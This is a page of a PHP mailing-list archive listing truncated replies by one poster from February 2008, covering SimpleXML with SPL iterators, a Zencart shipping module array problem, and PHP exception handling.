On Wed, 2008-02-06 at 15:12 -0500, Nathan Nobbe wrote: > SimpleXML, > http://www.php.net/manual/en/ref.simplexml.php > Dude, I thought you were playing with SPL! SimpleXML _then_ use the SimpleXMLIterator to work with it! http://www.php.net/spl --Paul All Email originating from UWC is covered

Re: [PHP] array problem with a zencart shipping module

2008-02-06 Thread Paul Scott
On Wed, 2008-02-06 at 23:42 -0500, Nathan Nobbe wrote: > ouch, maybe you need to hire someone ? besides this has more to do than > just arrays; there is the rest of the application and clearly anyone whos > going > to help out must understand at least some of it.. Yeah, I concur! You really shou

Re: [PHP] Exception handling in PHP

2008-02-06 Thread Paul Scott
On Wed, 2008-02-06 at 22:52 -0800, Prabath Kumarasinghe wrote: > Hi All > > I'm little bit confusing with PHP exception handling. > Could you able to explain how to put try{} and > catch(){} in a proper way in PHP. I had already read > php exception manual but it didn't help me to get > exact id

  1   2   3   >